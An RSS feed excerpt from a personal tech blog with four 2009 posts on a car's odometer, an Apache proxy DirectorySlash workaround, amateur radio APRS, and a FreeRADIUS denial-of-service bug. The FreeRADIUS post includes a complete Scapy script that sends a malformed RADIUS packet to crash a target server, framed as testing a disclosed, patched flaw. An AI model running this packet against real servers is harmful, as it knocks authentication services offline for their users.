		</item>
		<item>
		<title>The &#8220;Fish&#8221; turns 111,111</title>
		<link>http://www.braindeadprojects.com/blog/what/the-fish-turns-111111/</link>
		<comments>http://www.braindeadprojects.com/blog/what/the-fish-turns-111111/#comments</comments>
		<pubDate>Tue, 03 Nov 2009 17:06:22 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[What?!]]></category>

		<guid isPermaLink="false">http://www.braindeadprojects.com/blog/?p=140</guid>
		<description><![CDATA[My car (nicknamed &#8220;The Fish&#8221; for it&#8217;s fishlike appearance) just celebrated a birthday of sorts.
First of all, the car is a 1999 Ford Taurus SE.. and as you can see in this dealer picture &#8211; it has all of the features of an aquatic animal &#8211; two bulbous eyes, two smaller &#8220;nostril&#8221; looking things, sideview [...]]]></description>
			<content:encoded><![CDATA[<p>My car (nicknamed &#8220;The Fish&#8221; for it&#8217;s fishlike appearance) just celebrated a birthday of sorts.</p>
<p>First of all, the car is a 1999 Ford Taurus SE.. and as you can see in this dealer picture &#8211; it has all of the features of an aquatic animal &#8211; two bulbous eyes, two smaller &#8220;nostril&#8221; looking things, sideview mirrors that could possibly be fins, and a mouth where the ford emblem is.</p>
<div id="attachment_144" class="wp-caption aligncenter" style="width: 330px"><img class="size-full wp-image-144" title="The FISH! (Well, another Fish)" src="http://www.braindeadprojects.com/blog/wp-content/FordTaurus-medium.jpg" alt="The FISH! (We'll, another Fish)" width="320" height="256" /><p class="wp-caption-text">The FISH! (Well, another Fish)</p></div>
<p>I&#8217;ve been working for a while on the possibility of using a WebpadDT as a touchscreen for a car pc. The inside of the Fish is huge &#8211; but at 8 inches or so, the WebpadDT takes up a <em>lot</em> of space. On the other hand, it&#8217;s quite a bit cheaper than a lilliput screen.</p>
<p>While driving home this weekend, I looked down and noticed an upcoming milestone:</p>
<div id="attachment_147" class="wp-caption aligncenter" style="width: 419px"><img class="size-full wp-image-147" title="111,108 miles" src="http://www.braindeadprojects.com/blog/wp-content/111108.jpg" alt="111,108 miles" width="409" height="287" /><p class="wp-caption-text">111,108 miles</p></div>
<p>I got the camera ready &#8211; almost at 111,111 miles. Good Old Lucky 111,111 &#8211; make a wish!<br />
Well&#8230; maybe not. Turns out 111,108 is an unlucky number:</p>
<div id="attachment_149" class="wp-caption aligncenter" style="width: 418px"><img class="size-full wp-image-149" title="111108-unlucky" src="http://www.braindeadprojects.com/blog/wp-content/111108-unlucky.jpg" alt="My Brake Light is Out." width="408" height="310" /><p class="wp-caption-text">My Brake Light is Out.</p></div>
<p>My brake light was apparently out. A quick notice from the cop, and I was on my way. Being only about a mile from my house meant I had to drive around the block a few times, but finally I hit it:</p>
<div id="attachment_150" class="wp-caption aligncenter" style="width: 310px"><img class="size-full wp-image-150" title="111,111 miles." src="http://www.braindeadprojects.com/blog/wp-content/111111.jpg" alt="111,111 miles" width="300" height="229" /><p class="wp-caption-text">111,111 miles</p></div>
]]></content:encoded>
			<wfw:commentRss>http://www.braindeadprojects.com/blog/what/the-fish-turns-111111/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>DirectorySlash Hacking</title>
		<link>http://www.braindeadprojects.com/blog/what/directoryslash-hacking/</link>
		<comments>http://www.braindeadprojects.com/blog/what/directoryslash-hacking/#comments</comments>
		<pubDate>Tue, 27 Oct 2009 17:09:14 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[What?!]]></category>

		<guid isPermaLink="false">http://www.braindeadprojects.com/blog/?p=116</guid>
		<description><![CDATA[The other day I came across the following scenario: A customer wanted to use Apache proxying to hide the virtual hostname that his customers were really pulling content from. The rewrite rule on the &#8220;masking host&#8221; (which I refer to as www.proxy.net in these examples) is easy enough:
RewriteRule ^/~(.*)$ http://user.proxiedto.net/~$1 [P]
Which works pretty well:

The problem [...]]]></description>
			<content:encoded><![CDATA[<p>The other day I came across the following scenario: A customer wanted to use Apache proxying to hide the virtual hostname that his customers were really pulling content from. The rewrite rule on the &#8220;masking host&#8221; (which I refer to as www.proxy.net in these examples) is easy enough:</p>
<blockquote><p>RewriteRule ^/~(.*)$ http://user.proxiedto.net/~$1 [P]</p></blockquote>
<p>Which works pretty well:</p>
<p><img class="aligncenter size-full wp-image-117" title="How the mod_rewrite [P] works." src="http://www.braindeadprojects.com/blog/wp-content/apache-proxy-2.png" alt="How the mod_rewrite [P] works." width="415" height="282" /></p>
<p>The problem is what happens when DirectorySlash is enabled on the proxied-to host  (which it is by default). DirectorySlash fixes incorrectly identified resources &#8211; as an example, if you request a directory but <strong><em>without </em></strong>the trailing forwardslash.</p>
<blockquote><p>GET <strong>/~gillespiem/images </strong>HTTP/1.1<br />
Host: www.proxy.net<br />
&#8230;</p></blockquote>
<p>In this instance, you get a 301 redirect that appends a &#8220;/&#8221; to the end of the request BUT also sets the Location header to  the <em><strong>proxied-to</strong></em> virtualhostname.  The Jig is up &#8211; and now the address bar in the browser indicates the <strong><em>real </em></strong>host the end-user is speaking to<strong> </strong>:</p>
<p><img class="aligncenter size-full wp-image-118" title="When mod_rewrite [P] and DirectorySlash collide." src="http://www.braindeadprojects.com/blog/wp-content/apache-proxy-3.png" alt="When mod_rewrite [P] and DirectorySlash collide." width="415" height="282" /></p>
<p>Here&#8217;s a snippet of response from the site:</p>
<blockquote><p>HTTP/1.1 301 Moved Permanently<br />
Date: Tue, 27 Oct 2009 16:28:27 GMT<br />
Server: Apache/2.2.3 (CentOS)<br />
Location: <strong>http://user.proxiedto.net/~gillespiem/images/</strong><br />
&#8230;</p></blockquote>
<p>I&#8217;ve not been able to find an easy way to change what DirectorySlash uses in the Location header (maybe you can&#8217;t). DirectorySlash is important, so simply not using it won&#8217;t work in this application. Instead, I opted to use a RewriteMap to simply write my own version:  <a title="DirectorySlashHack" href="http://braindeadprojects.com/src/directoryslashhack">DirectorySlashHack</a> and enable it in the vhost container (on the proxy-to site) ala:</p>
<blockquote><p>DirectorySlash off<br />
RewriteMap directoryslashhack        prg:/etc/httpd/maps/directoryslashhack<br />
RewriteRule ^/~([^/]+)(/?.*)         ${directoryslashhack:%1*$1*$2}</p></blockquote>
<p>While the solution is hack-ish (and the script and rewriterule could use a small bit of cleanup), it seems to work so far. The perl script determines if the requested resource is a directory, and if so it issues the appropriate 301 redirect using a customizable location header (which allows me to force the cleaned-up request back to the proxy).</p>
]]></content:encoded>
			<wfw:commentRss>http://www.braindeadprojects.com/blog/what/directoryslash-hacking/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Freeradius Packet of Death</title>
		<link>http://www.braindeadprojects.com/blog/what/freeradius-packet-of-death/</link>
		<comments>http://www.braindeadprojects.com/blog/what/freeradius-packet-of-death/#comments</comments>
		<pubDate>Fri, 11 Sep 2009 17:39:47 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[What?!]]></category>

		<guid isPermaLink="false">http://www.braindeadprojects.com/blog/?p=105</guid>
		<description><![CDATA[I haven&#8217;t had a chance to use Scapy in a little while, and I don&#8217;t spend hardly any time in Python (don&#8217;t really know the language at all, to be honest), but a long time ago I was searching for an IPv6 capable successor to Hping. Scapy almost fits the bill.
Earlier today, while reading through [...]]]></description>
			<content:encoded><![CDATA[<p>I haven&#8217;t had a chance to use <a title="Scapy" href="http://www.secdev.org/projects/scapy/doc/index.html" target="_blank">Scapy</a> in a little while, and I don&#8217;t spend hardly any time in Python (don&#8217;t really know the language at all, to be honest), but a long time ago I was searching for an IPv6 capable successor to <a href="http://www.hping.org/" target="_blank">Hping</a>. Scapy almost fits the bill.</p>
<p>Earlier today, while reading through<a href="http://www.gossamer-threads.com/lists/fulldisc/" target="_blank"> Full Disclosure</a>, I came across something interesting: <a href="http://www.gossamer-threads.com/lists/fulldisc/full-disclosure/69935" target="_blank">a Freeradius DoS bug</a>. This piqued my interest as I&#8217;m currently experiencing _something_ that&#8217;s periodically knocking over radiusd. Furthermore, the radius server in question talks to a router with problematic L2TP tunnels (caused by a software bugs in L2TP sequencing on the Telco router on the other end&#8230;their vendor has confirmed the problems)</p>
<p>Time to create the packet of death. Scapy doesn&#8217;t appear to have a layer for RadiusAttributes yet, thankfully it IS in their <a href="http://trac.secdev.org/scapy/attachment/ticket/92/radiuslib.py" target="_blank">Trac</a>.</p>
<p>So, download the layer to scapy/layers, ensure that it imports the required items:</p>
<blockquote><p>import struct<br />
from scapy.packet import *<br />
from scapy.fields import *<br />
from scapy.layers.inet import UDP</p>
<p>from scapy.layers.radius import Radius</p></blockquote>
<p>Add &#8220;radiuslib&#8221; to the load_layers array in config.py, and we&#8217;re ready to go:</p>
<blockquote><p>#!/usr/bin/env python<br />
# FreeRadius Packet Of Death<br />
# Matthew Gillespie 2009-09-11</p>
<p>import sys<br />
from scapy.all import IP,UDP,send,Radius,RadiusAttr</p>
<p>if len(sys.argv) != 2:<br />
print &#8220;Usage: radius_killer.py &lt;radiushost&gt;\n&#8221;<br />
sys.exit(1)</p>
<p>PoD=IP(dst=sys.argv[1])/UDP(sport=60422,dport=1812)/ \<br />
Radius(code=1,authenticator=&#8221;\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99&#8243;,id=180)/ \<br />
RadiusAttr(type=69,value=&#8221;",len=2)</p>
<p>send(PoD)</p></blockquote>
<p style="text-align: center;"><a href="http://www.braindeadprojects.com/src/radius_killer.pys" target="_blank">(download)</a></p>
<p style="text-align: left;">Interestingly, one doesn&#8217;t need a shared key to send the packet of death, as you can tell the authenticator for the Access-Request packet is pulled out of thin air.</p>
<p style="text-align: left;">I&#8217;m assuming that most people iptable off access to their radius servers, so playing whack-a-mole with a provider probably isn&#8217;t that do-able. Beyond that, to even come close to possibly exploiting this, you need to be listed in clients.conf &#8211; so there&#8217;s already that level of trust.  Correct me if I&#8217;m wrong. Either way, updated packages are available.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.braindeadprojects.com/blog/what/freeradius-packet-of-death/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>APRS using Xastir</title>
		<link>http://www.braindeadprojects.com/blog/what/aprs-using-xastir/</link>
		<comments>http://www.braindeadprojects.com/blog/what/aprs-using-xastir/#comments</comments>
		<pubDate>Wed, 09 Sep 2009 15:34:17 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[What?!]]></category>

		<guid isPermaLink="false">http://www.braindeadprojects.com/blog/?p=86</guid>
		<description><![CDATA[A couple months back,  I finally took my Amature Radio Technicians exam. The exam location nearest me gave the exam for free, and with only 35 questions it doesn&#8217;t involve copius amounts of studying.
After a friend opened my eyes to a few fun things one can do w/ a radio scanner, I went on a [...]]]></description>
			<content:encoded><![CDATA[<p>A couple months back,  I finally took my Amature Radio Technicians exam. The exam location nearest me gave the exam for free, and with only 35 questions it doesn&#8217;t involve copius amounts of studying.</p>
<p>After a friend opened my eyes to a few fun things one can do w/ a radio scanner, I went on a &#8220;learning tangent&#8221;, reading and talking to people w/ Amature licenses, digesting everything that one can do w/ a radio these days.</p>
<p>One of the things that&#8217;s interested me the most is APRS. Using <a href="http://www.xastir.org" target="_blank">Xastir</a>, one can track mobile and static APRS stations in your area.</p>
<p style="text-align: center;"><a href="http://www.braindeadprojects.com/blog/wp-content/xastir.png"><img class="aligncenter size-medium wp-image-89" title="Xastir focused on Central Pennsylvania" src="http://www.braindeadprojects.com/blog/wp-content/xastir-300x228.png" alt="Xastir focused on Central Pennsylvania" width="300" height="228" /></a></p>
<p>There&#8217;s some interesting stuff out there &#8211; in my area there&#8217;s a trucker (N6GVG) that I&#8217;ve followed, making runs from West Virginia, to Tennesse, to Pennsylvania, and from there to New Jersey. (I&#8217;m a HUGE fan of <a href="http://openttd.org" target="_blank">Open Transport Tycoon Deluxe</a>, if you&#8217;ve not played it &#8211; seriously, get it. I only wish American trains were equiped w/ APRS)</p>
<p style="text-align: center;">
<div id="attachment_94" class="wp-caption aligncenter" style="width: 458px"><img class="size-full wp-image-94" title="Open Transport Tycoon Deluxe" src="http://www.braindeadprojects.com/blog/wp-content/foto-transport-tycoon-deluxe.jpg" alt="Extremely fun and addictive" width="448" height="336" /><p class="wp-caption-text">The Extremely fun and addictive OTTD</p></div>
<p>I&#8217;d purchased a Yaesu-VX7R from ebay for just under $290.00.</p>
<p><img class="aligncenter size-medium wp-image-87" title="Yaesu-VX7R with a CT-91 cable attached." src="http://www.braindeadprojects.com/blog/wp-content/dsc03157-300x225.jpg" alt="Yaesu-VX7R with a CT-91 cable attached." width="300" height="225" /></p>
<p>With the amature license in tow (<a href="http://www.qrz.com/db/KB3TCN" target="_blank">KB3TCN</a>), I decided I&#8217;d start sending out my own beacons. Problem was, I couldn&#8217;t figure out how to interface my soundcard (I&#8217;m using soundmodem) with the Yaesu. I&#8217;d already purchased the CT-91 cable from ebay (it splits out from a 4 tipped 3.5mm plug to a 3.5mm headphone plug and 2.5mm mic input), but simply connecting the soundcard to the mic input (using an adapter) didn&#8217;t work (and was probably incredibly stupid to try). Doing so keeps the radio keyed, and I&#8217;m sure is bad.</p>
<p>After talking to the gang on freenode:#hamradio and looking at the manual for TNC connection, it turns out the solution is fairly simple &#8211; two interfaces utilizing various isolation transformers (see <a title="SoundCard Interfacing" href="http://www.qsl.net/wm2u/interface.html" target="_blank">http://www.qsl.net/wm2u/interface.html</a> for a good intro, I&#8217;ll post my modified schematics shortly&#8230; I actually wrote this post months ago)</p>
<p>The optimal voltage is 5mV with 2kohms of resistance. My circuit gets it pretty close (btw, I can&#8217;t take responsibility for any harm this circuit causes, use at your own discretion. Seriously, don&#8217;t trust my judgement &#8211; <a href="http://failblog.files.wordpress.com/2009/03/fail-owned-spare-fail.jpg" target="_blank">this</a> is how I change a car tire).</p>
<p>Anyway, it&#8217;s working for me. I had to pump the soundcard output up pretty high, but I&#8217;ve got<a href="http://aprs.fi/info/KB3TCN" target="_blank"> my beacon</a> reportedly seen by others. (It&#8217;s been a few weeks since I&#8217;ve transmitted, as my next project is to do a PIC based tracker for my car)</p>
]]></content:encoded>
			<wfw:commentRss>http://www.braindeadprojects.com/blog/what/aprs-using-xastir/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
